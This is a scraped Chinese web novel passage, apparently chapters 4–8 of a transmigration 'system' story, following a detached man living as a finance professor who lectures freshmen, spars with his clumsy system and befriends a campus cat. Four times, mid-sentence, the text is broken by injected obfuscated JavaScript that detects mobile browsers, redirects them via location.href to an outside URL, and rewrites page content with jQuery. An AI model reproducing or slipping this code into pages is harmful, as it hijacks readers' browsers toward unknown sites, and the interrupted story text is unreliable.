系统:“你可不能掉以轻心啊!这是我们的第一次任务……只许成功,不能失败!” 系统有些心虚,用更坚定的语气掩饰。 贺明隽并未在意,注意力已经转移到课件上,他有些漫不经心地嗯了一声。 系统苦口婆心:“他们是主角!你已经见过女主了,难道没有受到主角光环的影响吗?” 贺明隽摇头道:“什么影响?我没有任何特别的感受。” “不应该啊……”系统纳闷,“你难道不觉得她在人群中格外耀眼、引人注目吗?” “没有。”贺明隽顿了一下,又说,“那天我戴了墨镜。” 他就算看太阳都不觉得耀眼。 系统嘀咕:“那可是女主啊!” 墨镜怎么能抵挡住主角光环? 贺明隽:“对我来说,她就是一个普通的学生,还有两年就要毕业。” 最迟,他用两年也能完成任务。 仅此而已。 他一向目标坚定,知道自己应该做什么。 系统还想说些什么,被贺明隽打断:“你还是保存能量,免得又突然掉线。” “我已经充满了!” 贺明隽毫不在意:“嗯,那你可以保持安静,不要影响我备课吗?” 既然他的任务是“过好贺教授的人生”,而他对此不算反感,那他就不会敷衍这份工作。 在女主重生之前的剧情中,贺教授是一个认真、有职业素养的教授。 如今的大学教授,除了教学任务,还有一些论文、项目指标要完成。 尤其是对金融系的老师来说,去企业开一场讲座,就能有数万的收入,各种理财收入可能都比本职工资高,甚至还有一些老师担任某企业的独立董事。 再加上一些学生在课堂上光明正大地睡觉、玩手机。 有部分老师就不怎么有教学热情,只站在讲台上念PPT就完事。甚至有一些老师,连课件都是十几年前的。 这是人性使然,但却不是一个负责的老师应有的职业道德。 而贺教授不在此列。 他对于教学任务从不敷衍,课件时常更新,加入最新的金融案例分析。 现在贺明隽之所以重新备课,是因为每个人的思维方式和讲述逻辑不同,他也不喜欢直接将别人的劳动成果当成自己的。 而且,他毕竟没有当过老师,总得提前做点准备工作。 贺明隽在做课件的同时,就在脑海中预演讲课时的情形,以便把握进度、合理安排每节课的内容。 看着贺明隽备课,刚上线的系统满眼都是星星——既头晕,又崇拜。 它绑定的任务者也太厉害了! 当然,也是它有眼光。 “自律”这个词在贺明隽身上没有意义。 所谓自律,是不需要别人约束,自己抵抗自己的惰性、欲望。 比如你现在想追剧,但你还有论文要写,于是你选了先写完论文,这叫自律。 而贺明隽就仿佛一台机器、一道程序,设定了目标,便心无旁骛。 他比系统更像系统。 等贺明隽中途休息的时候,他才向系统问出自己的疑问:“我完成任务以后呢?是离开这个世界,还是要以这个身份活到自然死亡?” 系统:“当然是脱离这个世界!我之前没有告诉你吗?每个任务根据其难易程度,是有时限的。” 贺明隽扯扯唇角,无语道:“没有。” 对于系统的不靠谱,他已经完全接受并且习惯了。 “啊,抱歉,第一次当系统做任务,不太熟练。”系统一边道歉,一边调出了任务面板。 【任务者】 姓名:贺明隽 本体:人类雄性 年龄:26(原世界真实年龄) 评估:87(满分为100) 【绑定系统】 编号:7714 称号:??(系统设置,不可查看) 等级:??(系统设置,不可查看) 履历:无 【任务相关】 任务完成情况:0/1(第一个任务进行中…) 累计获得积分:0 当前任务时限:5年(剩余4年10个月) 这个页面十分简洁,贺明隽一眼扫过,就捕捉到其中透露或隐藏的消息。 比如,上面特意提到他本体是人类,是不是说明还有任务者是非人类? 还有系统刻意隐瞒的数据。 在绑定之前他就问过系统的来历和原理,系统答:“这些不能告知任务者。” 但他最在意的,还是那个“87”的分数。 “为什么才八十七分?是用什么标准评估的?” 系统给他展现了评估细则:智力、情商、意志力、学习能力、应变能力…… 多边形图中,情商那个角是凹下去的。 贺明隽闭了闭眼,问:“这个分数可以不显示吗?” 他从没有得到过这么低的分数。 但是,他不得不承认,有些东西是很难提升。 他也不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239176|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去提升。 若一个人被夸赞“高情商”,那一定是他和人相处起来十分体贴,为别人考虑,让人感觉到如沐春风。 贺明隽从来不需要这么做。 这一项评估,他必然是拿不到满分了,那不如眼不见心不烦。 就像系统隐藏的那两项,大概也是这个原因吧。 系统十分难以接受,就像是刚低分飘过而听到某学霸说自己没考好的学渣。 “八十七分已经很高了!” 系统的评估标准可是很高的。 贺明隽随口问道:“你这不是第一次做任务,没有绑定过别的任务者吗?” 系统的声音透着几分自信:“可我就是知道我之前做过准备工作呀。!” 贺明隽看不到系统的形象。 他之前没有进入任务世界、只是一团意识的时候,看到的系统是一团光晕。 而现在,他脑海里浮现出一个昂首挺胸的白团子形象。 “白团子”是学校里的一只白猫,十分有名气,几乎是青禾财大吉祥物一般的存在了。 原本的剧情里提过这只猫不少次,甚至它还是促进男女主关系发展的一个重要道具。 白团子吃得圆圆滚滚的,被很多学生戏称为“师兄”,它长相蠢萌,却又十分高傲,很少让人摸。 原本的贺教授也很喜欢这只猫,在办公室还放了猫粮。 而贺明隽没有养过宠物,对这种需要耗费精力又娇气的生物也不感兴趣,就没有去主动接触过,他只远远见过白团子两次。 现在他莫名就觉得系统有点像那只猫。 将这个无端联想扫出脑海,贺明隽对系统说:“分数我已经记住了,没必要再展示。” 他只是不想看到自己拿这么低的分数而已。 看到那一项被隐藏后,贺明隽又将视线移到“当前任务时限”上。 他问:“如果我提前完成了任务,可以提前离开吗?” “可以是可以……”系统有些迟疑。 贺明隽不耐烦:“话不要说一半。” 系统:“如果你继续留在这里,就相当于多活一段时间,为什么要提前离开?” 贺明隽没回答,只又问道:“若我离开,这个世界还会继续运行下去吗?” “你是想问,这个世界是否是真实的吧?”系统仿佛压中了考试题一般,十分得意。 它故作高深地答:“如果你不想太融入这个世界,只以任务者的身份旁观,就可以把这个世界当做一本书、一个游戏。若是你喜欢这里,其实和你原本生活的世界也没有什么不同。” “不过,我觉得你会选前者。”系统又自以为是地加一句。 总算有机会给它装到了! 它可是系统哎!这个任务者也太淡定、太不把它放在眼里了,让它总感觉它不只被嘲讽了,还被碾压了。 贺明隽只觉得好气又无奈,他忽然开口问了个不相干的问题:“你们系统没有考试的吗?” “你,你问这个做什么?”系统反问,但它的表现已经做出了回答。 “就是觉得你的成绩可能不怎么好。”贺明隽语气轻飘飘的,透着笃定的意味。 智力不够、阅读理解能力不过关,答非所问还沾沾自喜以为猜对了出题人的用意…… 系统被戳到了痛脚,还死不承认:“我们系统的考试,可和你们人类不同!” “哦。”贺明隽没有咄咄逼统。 其实他并不是很在意这个世界是真是假。 如果你喜欢,就是书中的纸片人死了,你都会不舍、难过。 这样的事情,从他看了梁双双给他推荐的小说后,见了不少。 可他生来就没有这样的共情能力。 即便是真人死在他面前,都不会引起他内心的一丝涟漪。 甚至,哪怕那个人是他的父亲。 他之所以问系统那个问题,只是想知道他是否要为后续负责。 如果不需要,他完全可以采取更高效的方式完成任务。 “你,你可不要乱来啊!系统和任务者都是有约束的!” 系统有点慌了,它之前了解到的贺明隽是个很正直、遵纪守法、爱国敬业的人,该不会是离开了原本世界,就释放了本性吧? 5. 重生文(05) 贺明隽之所以会成为一个在外界评价中算是有价值、为社会做贡献的人,是因为他能完成学业、有那些成就全靠国家补助,他就顺理成章地为国家做事。 但他不太想和系统提起自己的过去。 “我没有反社会人格,你不要怕。”贺明隽语气平静、并不走心地劝一句。 这个系统实在不聪明,并把很轻易地自己的弱点暴露出来。 对于系统先哄得他绑定,之后才给他看相关守则的事,贺明隽还算能接受。 当时他的意识像是被困在某个地方,也不了解所谓的系统是个什么玩意儿,只能同意。 如果把他们的绑定比作签合同的话,那已经违反了自愿原则。 现在贺明隽又发现甲方隐藏了部分条款而已,对比之下,似乎不算什么大事。 而且,如果他觉得这些条款不合理,未必会完全遵从。 更何况,经过这短暂的相处,贺明隽觉得系统不像个坏的,于是就更加淡定。 守则的内容,没有出乎贺明隽的意料。 简而言之,就是只要他不违反任务世界的法律,遵守系统给出的那项任务标准,便不会违反任务守则。 贺明隽点点头,示意自己了解了。 抬头看了眼钟表,发现休息时间结束,他就回到书桌前,继续工作。 系统又懵又忐忑,它好不容易才绑定到一个任务者,结果却是个求生意志一点都不强的任务者…… 不知道为什么,它对这个任务者感觉还挺亲近的。 他对于自己的看法,太有点在意。 系统想解释两句,又想到之前贺明隽说不要打扰他。 它若是有嘴的话,现在一定是张张合合,欲言又止的。 直到贺明隽设置的十一点二十分的闹铃响起,系统才发出声音:“你不要生气,我是走投无路了,不是故意欺骗隐瞒的……” “我并没有生气。”贺明隽整理着书桌回答道。 “那你刚才沉着脸,不说话,好吓统的。” 贺明隽:“嗯,你以后会习惯的。” 他情绪起伏一向不大,就算有情绪变化,也未必会通过表情传达出去。 至于系统的隐情,他不关心,就没有多问。 整理好书桌、洗手、提上餐盒……贺明隽走楼梯下楼。 他不喜欢乘电梯。 如果时间不紧急又不与人同行的话,十楼以下,他习惯走楼梯。 而贺教授的办公室是在财经教学主楼的七楼。 他现在要去食堂。 贺明隽不擅长厨艺,他又一个人生活惯了,更是不愿意耗费时间做饭清洗厨具,所以就算在假期,没有别的事情的时候,他也呆在学校,方便三餐在校食堂解决。 他将时间算得刚好,赶在大一新生军训结束前去食堂买了饭并返回,坐到办公室的电脑前时,总在十二点左右,前后差不了一分钟。 看着财经新闻,吃饭。 十二点半,他将餐盒洗好,用热水烫一遍,等晚上带回住处再用消毒柜消毒。 饭后,他会站在窗边,目光没有落在实处,在脑中回想上午做的事情。 如果有不足的地方,就去改正完善。 如果没有,他就会查看各种消息,看有没有临时增加的工作,来决定要不要修改下午的计划。 系统第一天正式上线,看到贺明隽的安排,深深地自卑了。 但它从出厂就是个淘汰品嘛,就只捞到这么一个任务者。 大概它只能靠任务者多刷几个任务这样子,慢慢苟着,等有了积分它就可以升级。 * 贺明隽处理消息的顺序是电话、邮件、短信、微信。 他不太喜欢使用微信。 这是一个很容易降低效率并且电脑版使用不便的APP,他就将它的消息提醒都关了,大约隔两个小时查看一次。 他的微信号是手机号,唯一一条朋友圈是工作邮箱。 知道现在贺教授改了习惯、不常用微信,他的学生自然比较配合,不过同事们还是更喜欢直接发微信。 贺明隽看到金融学院的苏老师一个多小时前发来的微信,不禁皱了一下眉。 苏老师很着急地问他晚上有没有空,她因为临时有事,不能参加今天晚上给大一新生的讲座,希望他若是方便的话能替一下。 可他将近两个小时都没回复,苏老师也没有再问。 不确定对方找没找到其他人帮忙,贺明隽还是回道:“有空,如果还需要的话,可以电话沟通细节。” 苏老师是一个性格随和很仗义的人,以前与贺教授关系不错。 贺明隽正在回复其他消息的时候,苏老师打来了语音通话。 “贺老师,真是谢谢你愿意江湖救急了。你现在是已经在学校了吗?” 贺明隽:“是。” 苏老师就说:“那就麻烦你了,之前看你没有回复,还以为你不方便呢。我又找了张老师,他还要赶过去……” 贺明隽打断道:“你直接说讲座主题以及时间地点就好。” “啊?”苏老师似乎是被他冷淡的态度砸懵了,愣了一下才继续道,“哦,好,我把相关信息发给你,PPT我已经做好了,你熟悉一下就行了。” “嗯……”贺明隽迟疑一下,“我还是自己做比较好。” 熟悉别人的东西未必有他自己重做一份节省时间。 苏老师应该是很意外他这样选择,停了几秒才说:“只要贺老师你不觉得麻烦就行。” 之后苏老师又说了一些开学带礼物请吃饭之类的感谢话。 挂断语音通话后,贺明隽看起了讲座的信息。 这是学校安排的“新生入学教育系列讲座”,是强制大一新生打卡签到的,参加可以计入课外学分,也算是军训期间的一种休息。 今天金融学院的讲座主题是“专业导读”,大致内容就是讲解一下金融学的课程设置、学生应该怎么做好规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239177|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划之类的。 并没有什么难度。 贺明隽用四五分钟打好腹稿,然后找个简洁的PPT模板开始制作。 不到二十分钟就搞定。 下午,他完成了《金融学》一科的所有课件,又指导了一位研究生打算投期刊的论文、给才考到他名下将入学的新研一生答疑…… 讲座是晚上七点开始。 贺明隽只拿了个U盘就去了。 新生中,金融学院人数最多,所以讲座的场地在能容纳三百人的报告厅。 贺明隽提前三分钟把PPT拷到多媒体教学互动设备的主机上,检查无误后,才打开投屏。 下面二百多个学生都身穿迷彩服,坐得端正,名符其实的青葱少年。 贺明隽站在台上,没有丝毫的紧张不安。 他往下扫了一眼,看到后排站着两个熟悉的身影。 梁双双冲他挥挥右手。 而梁双双旁边的那人自然是白梦绮。 上一次贺明隽见到这位系统所说的女主时,不仅戴着墨镜,而且没有仔细观察。 现在他倒是特意打量一眼。 不过离得太远,这具身体又有点轻度近视,他也看不太真切白梦绮的长相,只是觉得她在人群中比较显眼,尤其是在前面因军训被晒得像糖栗子的新生的对比下。 她就像是落在沙砾中的珍珠。 贺明隽并未看太久,就像是无意一瞥一般。 而在他移开视线之后,白梦绮抱着照相机有些僵硬的手才松懈下来。 尽管她在贺明隽视线扫过来时就垂了眸,但她就是能感觉到他在看自己。 暗骂自己一句“不争气”,白梦绮才举起相机。 白梦绮的实习并没有结束,只是今天不用加班。 她没想到会再见到贺教授。 之前的通知中,今天的主讲人并不是他。 白梦绮会画画、摄影,梁双双文笔不错、会写推送,他们两个在大一时都加入了院学生会的宣传部。 现在到了大三换届,白梦绮为了德育分和志愿者工时,选择留在院学生会,由部长升为分管宣传部的副主席。 白梦绮因为实习,很多事都让已经留任校学生会的梁双双代劳,心里已经很过意不去了,所以今天她有空,就来了。 她还穿着实习时比较正式的服装,脚下踩着高跟鞋,脸上带着精致的妆。 如果是以前,她肯定会庆幸自己以完美的形象出现在贺教授面前,心里窃喜:这算不算一种缘分呢? 可是现在,她心里除了一丝苦涩,就只有坚定的自我洗脑——白梦绮,他不喜欢你,上辈子你直到死都没追到人,难道这辈子还要重蹈覆辙吗?好男人多的是,不要继续在一棵树上吊死了! 咬着下唇,白梦绮将相机对准了讲台上的人。 以前,她的画笔和相机都是记录自己的爱慕对象的。 今天,她只是作为院学生会的副主席拍摄开讲座的老师。 6. 重生文(06) 贺明隽没想到会再次见到白梦绮。 但这并不会对他产生任何影响。 七点一到,贺明隽调整了一下话筒,开口道:“同学们好,我是贺明隽,教授的课程为第三学期的必修课《金融学》,以及第六学期的限制性选修课《金融风险管理》。” 他的开场白十分简洁,没有提曾经的贺教授的成就,也没有解释今天讲座换人的原因。 “今天讲座的主题是……” 他先概述了金融学院设置的学科,每一学科的课程;接着讲了金融生都有哪些出路,以及每一种选择应该在大学期间做些什么,好让自己变得更有竞争力;最后是如何利用学院的各种资源,比如学校买的几个数据库的特点和检索技巧等。 整场讲座,干货满满。 只要认真听了,绝对不会等要完成毕设时连数据都不会搜集。 开始有学生举起手机拍照,这让贺明隽不悦地皱眉,还有点费解。 他不喜欢被拍摄。 而且,这点东西都记不住么? 就算有关键点需要做笔记,那也应该用纸笔,只是拍个照,现在不过脑子,事后再去看吗? ——这是他的费解之处。 贺明隽将眉头舒展开,说:“PPT我会留在桌面上,若你们有需要,可以让班长拷贝,或者,我事后发在学院的公邮中。不要拍照。” 他并不知道,很多学生相机的焦点没有对准白板,而是对准了他。 还有很多原本庆幸自己可以坐在后排摸鱼的同学改了想法,觉得自己亏了。 最后排的梁双双用手肘碰了一下拍完素材返回的白梦绮,轻声问:“觉不觉得我哥和以前不太一样了,好像,更……” 梁双双顿了下,想找一个合适的词语。 白梦绮脸上挂着无奈的笑,同样小声说:“我好不容易才放下,你还要和我讨论。” 梁双双举手做了个投降的动作。 白梦绮脸上的笑容更大了点,只是等她低下头装作记笔记时,唇角却噙着一抹苦涩,神色也有些迷茫。 其实她没有那么洒脱。 她本来就不是拿得起放得下的性格,否则,她也不会坚持暗恋那么久并鼓起勇气去追求。 重生以来,她其实在有意躲避着贺教授,希望用时间冲淡一切。 算了…… 白梦绮用手掌轻拍额角,把注意力重新拉回到贺教授讲述的内容上。 虽然这是给新生准备的讲座,但她作为一个准大三生也受益匪浅。 而她旁边的梁双双手撑下巴,看着讲台上的贺明隽,还在思索他有哪里不同。 依旧是那张脸,但好像气质更冷冽了,气场也更强了。 她表哥贺明隽从小就是别人家的孩子,现在他是学校最年轻的教授,毫无疑问,他的学历、教学和研究能力都能与这个职称相匹配。 只不过,他因为年纪轻,总不愿太张扬,给人一种谦逊的感觉,当然他本人也不是傲气的性格。 以前他看起来不像是能压住学生的老师,待学生温和耐心又保持一定的界限,让他们觉得还能开玩笑。 而现在…… 他往讲台上一站,就让人不敢光明正大地玩手机、摸鱼。 他讲述时并没有故意炫耀似的侃侃而谈,可听众应该都能领会到他的自信、胸有成竹。 这样的老师,确实很能让思艾的少女心动,或许不至于到告白追求那一步,但多少会产生点包含仰慕、向往的小情愫。 讲台上的贺明隽是耀眼的,丝毫没有遮掩自己的锋芒。 梁双双忍不住在脑海中给他头顶配上一行字:“我很强,我知道我很强,并且让你们也知道。” 她被自己的脑补逗笑了。 这时贺明隽的眼神扫过来,梁双双立马绷紧脸,坐直了身体。 尽管贺明隽只是将目光投向下方,没有具体地锁定某一个人,更不含任何警告意味。 计划一个小时的讲座,贺明隽用五十五分钟讲完,又象征性地问:“各位同学还有没有什么问题?” 一般这种讲座顶多也就几个人会提问,可能是好学积极的学生,也可能是不想老师下不来台的热心班干部。 但出乎贺明隽的意料,今天的学生格外热情。 他想,大约是才入学的新生的缘故吧,现在还比较认真热情,没有变成校园老油条。 挑了几个同学对他们的问题之后,贺明隽一看时间跳到十九点五十九,就说:“今天的讲座就到这里了,如果关于这场讲座还有其他问题,可以让院学生会学习部的人整理后发给我,我统一解答。” 他不喜欢拖堂。 而且这些学生后面还有别的安排。 贺明隽冲着下面的学生轻点头,转身时又看了主持人一眼,右手做了个不太明显的“请”的动作,然后就大步走下讲台、出了报告厅。 不只是听讲座的学生,就连主持人都没能反应过来。 就没见过比学生还迫不及待结束讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239178|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座的老师。 难道这就是大学吗?刚进入大学校园的新生有点懵地想。 有人率先鼓起掌,带动一片掌声,十分热烈。 主持人趁这个机会组织好语言,等掌声渐息才走上台。 雷动的掌声传到已经走到楼梯口的贺明隽耳中,他脚步没有停,心里也十分平静。 这场讲座无疑是成功的。 可贺明隽并不太关注讲座取得了怎么样的反响,他只要把自己准备好的内容讲述出去就行了。 现在结束了,他的注意力就转到其余待办事项上。 * 当天晚上,院会的宣传部就把推送赶了出来,发在金融学院学生会的公众号上。 几乎是默认的惯例,学生会的成员是需要把这样的推送转发到朋友圈的。 白梦绮心里还别扭着,转发时只配了八个字:干货满满,受益匪浅。 其余人就没那么含蓄了—— “看到就是赚到!贺教授简直了!他在台上那种游刃有余、自信淡然的样子真是太有魅力了!” “这样有颜又有才的教授是谁家的啊?哦,是我们金融学院的,那没事了。” “我为什么快大三了才听到这场讲座?贺老师讲得很好,但对于大一新生来说,他们听了可能就一时激动,等军训完了就忘了。我们大三党正处在考研、考公、工作选择的关键期,更需要这样的讲座好吗?” “还有即将升入大四的毕业党也很需要,至今还不知道怎么找数据、搜资料。” “我只希望分导师时能分到贺老师!(祈祷)” …… 这条推送的阅读量和评论数都很可观。 因为推送中提到“同学们若有问题可以留评,到时由学习部整理后拿给贺老师”,有不少人就认真地留下自己的问题。 但更多的评论则是—— “请问我加入学习部,有机会和贺老师当面交流吗?” “啊啊啊啊表白宣传部的学姐,把贺老师拍得太好看了!” “我以为我会在大学遇到的男神:学生会的学长或是篮球队的主力;实际上:贺教授。” …… 系统把这些评价筛选出来,用平板放给贺明隽看。 “好多同学都在夸你啊。”系统与有荣焉。 贺明隽扫了一眼,并没有因为被夸奖而愉悦。 他本来对皮囊就不很在意,更何况…… “你是不是忘了,这又不是我的长相。” 7. 重生文(07) 之后,贺明隽的日子依旧是充实而有条不紊的。 这在系统看来有点枯燥。 可贺明隽已经很习惯了,他也并不讨厌这样一成不变的生活。 他觉得这个任务有些过于简单了。 他似乎什么都不用做,最多只需要教两年学就可以完成。 系统:“……” 这是它的第一次任务,它并不知道别的任务者、别的任务世界都是怎样的。 它什么都不懂,只能尽量装作没那么无知。 这个任务竟然这么简单吗?系统惊讶。 那它很快就有积分了?! 系统看了眼任务页面。 因为它是最低级落后的系统,它的页面不会显示具体进度,只有完成与否。 不过,升级指日可待! 系统十分期待,也不禁有点松懈。 “你出去逛逛嘛!整天不是办公室就是住处,要么就是图书馆、会议室,也该去校园到处走走。整天呆在室内,不利于身心健康。” 系统就像是个想出门玩的熊孩子。 贺明隽头都没抬,答道:“我有健身。” 至于心理健康,他就算不出门也不会被憋出病来。 系统泄气,又说:“作为系统,我也是有学习能力的,多见见世面,以后对你也是有帮助的。” 贺明隽:“网络世界很丰富。” 系统自闭了。 贺明隽笔尖顿了下,唇角似是漾开一丝不易察觉的笑。 系统很久没有声音,再一开口就是:“你会打篮球吗?” “不会。”贺明隽坦然,他并不觉得男生不会打篮球有什么可自卑的。 系统稚嫩又没有起伏的声音透出一种兴奋:“可是贺教授会哦,春季运动会的时候,他还要代表金融学院教职工参加男篮比赛呢。” 系统调出那一段剧情给贺明隽看。 贺明隽其实一直没有把系统提供的剧情看得很重要,更别提仔细研究了,毕竟他做出的选择不同,引起的后续发展也会不一样。 而且那份所谓的剧情主要是围绕白梦绮展开的,他并太想耗费精力去关注。 他的任务又不是攻略白梦绮。 ——看过梁双双推荐的小说后的贺明隽知道了很多新词汇。 贺明隽已经从属于贺教授的记忆中确认贺教授的确是会打篮球的,但他还是扫了一眼系统给的剧情: 【三分球!中了! 球场上发出一阵欢呼,还有金融学院的啦啦队热情地为贺教授呐喊。 因为运动的缘故,贺教授平日里温润清隽的脸,现在宛如烟霞,他的额头沁出细小的汗珠,这让他看起来多了点少年感。 看到投中了球,他也没像队友一样欢呼,只是扬起一个开心又有点含蓄的笑,和队友碰了一下拳。 有大胆热情的女生喊道:“贺教授好帅啊!”“男神!” 贺教授的视线仿佛无意地往某个方向看去,而后脸上的笑收敛了一些,他垂着眸,显得有些落寞。 那个位置,再没有了那个熟悉的身影,拿着水和小风扇耐心地等着他,眼含期盼和爱慕。】 …… 这一段是描述曾经的贺教授进一步认识到自己的心意,已经开始后悔了。 而贺明隽的关注点在…… “三分球啊。”他轻声呢喃。 他完全不会打篮球。 他和篮球最亲密的接触,就是有人把球投出场外,里面的人喊他帮忙扔进去。 贺明隽对于运动也说不上喜欢不喜欢,他只是会为了身体健康而锻炼。 他最擅长的运动是跑步。 他上学期间,从未参与过任何体育比赛,也没有和同学们一起打过球。 就连大学的体育选修课,依他的情况,很多课程都选不了,他两个学期的体育课选的是老少皆宜的太极拳和太极剑。 现在,机缘巧合体验一回大学教授,他反而要学打篮球了吗? 贺明隽左手的食指和中指像是弹钢琴般,轻轻地、没有什么节奏地轻点着桌面。 他向来不抗拒学习新事物,只是竞技体育他从没有接触过,也不知道有没有这个天分。 他脑中有关于篮球的知识以及曾经贺教授在球场上的相关记忆。 然而,运动这玩意儿,应该不是脑子学会可以的吧? 贺明隽完成手上的一项工作,如系统所愿走下了楼。 下午六点半左右,太阳只剩下余晖,暑气虽然还没有散尽,但偶然有微风吹过,倒也不算太热。 尽管现在还没有正式开学,不过总有一些学生因为各种事情留在学校,所以篮球场上还是有人的。 这时,晚间的军训还没有开始,操场上有人在慢跑,有小情侣牵着手散步,也有人坐在草坪上看书。 贺明隽的步伐不自觉缓了下来,他走到梧桐树下的长椅前,坐下。 他的神情看起来并不太像是在观察人打篮球,而像是在放空自己,或只是坐在那里思考别的事。 可他的的确确在学习、分析,就连半米远处多了一位不速之客都没有察觉到。 白团子大概还没有被人类这么无视过,就忍不住喵了一声。 贺明隽听到声音,脑袋只转了很小的一个幅度,垂眸看过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239179|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一感觉是:真胖。 他从没有见过这么肥的猫。 贺明隽没有养过宠物,不过猫他还是在小时候见过的。 他对猫的所有印象,就是农村养来抓老鼠用的那种猫。 那些猫大都看着灰扑扑的,说不定还有跳蚤,他们并不亲人,身形精瘦,动作灵敏,时常在夜里凄厉地叫-春,声音十分刺耳。 所以贺明隽对猫实在谈不上喜欢,尽管他理智上清楚宠物猫或许并非如此。 哪怕系统给的剧情中这只白团子十分可爱,哪怕之前他远远看见过它,也从没有靠近。 现在近距离一看,贺明隽对于猫因为第一印象产生的排斥就减轻了点。 这只白团子的皮毛油光水滑,白色本是很显脏的颜色,可它看起来却很干净,连毛都是根根分明的。 完全不是流浪猫该有的样子,反倒像是被人精心照顾的爱宠。 这就是大学校园里的猫? 贺明隽回想了一下,他关于自己大学生涯的记忆中完全没有猫的影子。 白团子的姿态倨傲,看着贺明隽的眼神带着打量、迟疑和试探。 人的饮食习惯、用的洗浴用品都会形成独特的味道。 现在的贺明隽和以前的贺教授是不同的。 贺明隽想起办公室里的猫粮和冻干,就俯下身,伸出右手,放轻声音,喊:“咪咪,过来。” 白团子犹豫着,还是走了过去。 它猫步优雅,只是因为身材一点也不像模特,看起来反而有点喜感。 它没有去蹭贺明隽的手,而是身体一歪,打了半个滚,将脑袋枕在贺明隽整体干净、只有鞋尖一点灰尘又没擦鞋油的皮鞋上,仰着脑袋看他,发出很轻的“喵呜”声。 暑假里喂猫的人少了,白团子的生活质量严重下降。 而贺教授买的猫粮冻干都不是便宜货。 对于白团子的反应,贺明隽有点意外。 不管是系统给的剧情,还是原本贺教授的记忆里,这只白团子都是“见不得猫粮不让摸”的性格,很少对人主动。 但贺明隽也没有多想,一只猫而已。 他并不知道这只白团子打算赖上他了,他只是想把办公室里的猫粮送出去,免得浪费。 但贺明隽现在面临一个问题:如果他返回办公室拿了猫粮再下来,猫可能就不在这里了。 而且,往返一趟只为了喂猫,让他觉得不划算。 “改天吧。” 等他明天下楼,顺便把猫粮带下来。 贺明隽抬脚,将白团子拨弄到一边,起身走了。 白团子:“喵喵喵喵喵!” 8. 重生文(08) 第二天,贺明隽就遵守承诺地把猫粮和冻干带下去了,还是篮球场旁的老位置。 他一开始没见到那只白团子,就把猫粮和冻干往暂时充当猫饭碗的花盆底托一倒。 花盆底托之所以空下来,是因为不到两个月,他把办公室里的花养死了。 贺明隽把猫粮往椅子旁一放,静待有缘猫。 贺明隽还没有走远,就有猫不知从哪里钻了出来,缓缓踱着步,似乎是想等他走了就进食。 不是白团子。 贺明隽也没有打算将这不知名的猫赶走。 哪只猫吃都是一样的。 只不过,准备离开的贺明隽刚走了两步,就听到身后传来有点凶狠的猫叫声。 他一回头,就看见先来的那只猫已经灰溜溜地走了,而白团子放松了弓着的身体,扭头向猫粮走去,宛如一个战胜的将军。 白团子抬头看了贺明隽一眼。 也不知道是自己的错觉,还是这只猫真的聪明又人性化,贺明隽仿佛从那一眼中看到了不屑和谴责。 但他良心并不会痛,他收回眼神,转头离开了。 之后,贺明隽的日常事务又多了两项: 一,从办公室下楼的时候给白团子带点猫粮。 二,去两公里外的篮球场练球。 系统很想看看校园外面的世界,并非是它有着人类的好奇心,而是它需要丰富自己的资料库。 不过,它还是对贺明隽的选择有点不解。 “学校不是有篮球场吗?” 室内、室外的都有。 按照贺明隽一向看重效率的习惯,怎么会舍近求远呢? 贺明隽答:“原来的贺教授是会打篮球的,我现在重学,若是被熟人看见了,要怎么解释呢?” “哦。”系统恍然,并认真记录下来。 它完全忘了,按照贺明隽的性格,其实如果没有必要的话,他是懒得解释那么多的。 他应该会回答:“我喜欢。” 现在系统只觉得贺明隽考虑问题实在是太周全了。 就连他喂那只白团子,系统都很崇拜地夸道:“剧情中,这只猫生病,男主赶来送猫去医院,并脱下自己昂贵的西装包裹着猫,这让女主对他有了很大的改观。” “而你现在养了猫,就不用他们出手了。男女主又少了一个相处、增进了解的契机。” 贺明隽有些无语。 他既没想着要干扰那两人的感情,也没打算养这只猫。 再说,明明是这只猫有点粘人。 